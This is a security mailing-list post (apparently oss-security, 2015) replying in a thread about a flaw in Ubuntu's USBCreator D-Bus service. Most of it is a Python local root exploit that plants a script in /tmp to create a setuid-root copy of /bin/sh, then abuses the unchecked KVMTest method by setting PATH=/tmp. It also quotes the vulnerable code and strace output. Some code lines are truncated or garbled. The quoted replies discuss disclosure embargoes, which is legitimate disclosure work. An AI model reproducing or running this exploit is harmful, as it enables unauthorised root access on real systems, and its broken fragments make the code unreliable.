Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Date: Fri, 24 Apr 2015 17:04:51 -0500
From: Grandma Eubanks <>
Subject: Re: USBCreator D-Bus service

So, the reason there's problems in people's VM testing may be due to their
configuration for memory usage. Also, without qemu-kvm (or kvm command in
search path), it won't call KVM and has a limited search path that does not
include CWD and our own controlled envp won't get triggered until kvm is
found. If we can control an arbitrary file creation bug (apport?),
ld_preload would be the way to go as shown in tavis's poc.

# By TurboBorland
# Sometimes, to interact with dbus over remtoe console, you'll need:
# export DISPLAY=:0
import dbus
from os import chmod,unlink

    bus = dbus.SystemBus()

% (bus_type,bus_name,path,interface,object_method_name,argument))
    bus_object = bus.get_object(bus_name,path)
    object_method = bus_object.get_dbus_method(object_method_name,interface)

def check_req():
    f = open("/proc/meminfo","r")
    free = 0
    for line in f:
        if (line.find("MemFree") != -1):
            memfree = (int(line.split(":")[1][:-3])/1024)
        elif (line.find("Buffers") != -1):
            buffers = (int(line.split(":")[1][:-3])/1024)
            memfree += buffers
    if (memfree < 768):    exit("Not enough memory to pass mem_free()

def drop_bomb():
    try:    f = open("/usr/bin/kvm","r")
    except IOError as e:    exit("KVM does not exist in /usr/bin/kvm. Wrong
directory or not installed?\n%s" % e)
    for line in f:
        if (line.find("exec") != -1):
            dropfile = "/tmp/" + line.split(" ")[1]

    f = open(dropfile,"w")
    f.write("#!/bin/sh\n/bin/cp /bin/sh /tmp/shell\n/bin/chown root:root
/tmp/shell\n/bin/chmod 04755 /tmp/shell")

    # sigh, tried so hard to stay away from having to do anything with os
    # if anyone knows how to set +x without this, I would love you long time
    return dropfile

def trigger_vuln(dropfile):
    device = "/dev/sda"
    # make sure /tmp is not nosuid, or choose somewhere else
    env = {"DISPLAY": ":0","XAUTHORITY": "a", "PATH": "/tmp"}
    args = (device,env)

    # introspect, enable to see commands and arguments for USBCreator



if __name__ == '__main__':
#    check_req()
    print("Requirements passed")
    dropfile = drop_bomb()
    print("The setup is ready")
    exit("shell dropped in /tmp/shell")

vuln code (lack of check_polkit here and kvm-lk):

    @dbus.service.method(USBCREATOR_IFACE, in_signature='sa{ss}',
    def KVMTest(self, device, env):
        #Run KVM with the freshly created device as the first disk.
        for key in ('DISPLAY', 'XAUTHORITY'):
            if key not in env:
                logging.debug('Missing %s' % key)
        udisks = UDisks.Client.new_sync(None)
        obj = _get_parent_object(udisks, device)
        # TODO unmount all the partitions.
        dev_file =
        if mem_free() >= 768:
            envp = []
            for k, v in env.items():
                envp.append('%s=%s' % (str(k), str(v)))
            cmd = ('kvm', '-m', '512', '-hda', str(dev_file))
            flags = (GObject.SPAWN_SEARCH_PATH)
            # Don't let SIGINT propagate to the child.
            GObject.spawn_async(cmd, envp=envp, flags=flags,

SPAWN_SEARCH_PATH (can we get around this to break the kvm binary
15071 execve("/usr/sbin/kvm", ["kvm", "-m", "512", "-hda", "/dev/sda"],
["XAUTHORITY=a", "PATH=/tmp", "DISPLAY=:0"]) = -1 ENOENT (No such file or
15071 execve("/usr/bin/kvm", ["kvm", "-m", "512", "-hda", "/dev/sda"],
["XAUTHORITY=a", "PATH=/tmp", "DISPLAY=:0"]) = -1 ENOENT (No such file or
15071 execve("/sbin/kvm", ["kvm", "-m", "512", "-hda", "/dev/sda"],
["XAUTHORITY=a", "PATH=/tmp", "DISPLAY=:0"]) = -1 ENOENT (No such file or
15071 execve("/bin/kvm", ["kvm", "-m", "512", "-hda", "/dev/sda"],
["XAUTHORITY=a", "PATH=/tmp", "DISPLAY=:0"]) = -1 ENOENT (No such file or

I'm sure there's better ways to do some of this, and there's a few comments
you can uncomment to help you figure other things out.

On Thu, Apr 23, 2015 at 1:22 AM, Kurt Seifried <> wrote:

> On 04/22/2015 07:49 PM, Solar Designer wrote:
> > On Wed, Apr 22, 2015 at 05:50:35PM -0700, Tavis Ormandy wrote:
> >> On Wednesday, April 22, 2015, Seth Arnold <>
> wrote:
> >>> We treat local root escalation vulnerabilities with a high priority[1].
> >>
> >> I wish you had spoken up during the previous discussion. It was my
> >> impression that embargoes for local privilege escalations were
> universally
> >> considered deprecated.
> >
> > I think Kurt's comment (in the linux-distros discussion) on not needing
> > further vulnerability reports embargoed applied solely to ABRT.
> >
> > I can see how this can appear as extending to any local root issues, for
> > users who have ABRT installed and enabled.
> >
> > Kurt might want to clarify this.
> >
> > Alexander
> Clarification won't be possible for a bit, I'm actually meeting with
> Tavis tomorrow to discuss this and other things (this was scheduled some
> time ago, it seems I was right in assuming this would become a bigger
> issue =).
> --
> Kurt Seifried -- Red Hat -- Product Security -- Cloud
> PGP A90B F995 7350 148F 66BF 7554 160D 4553 5E26 7993

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.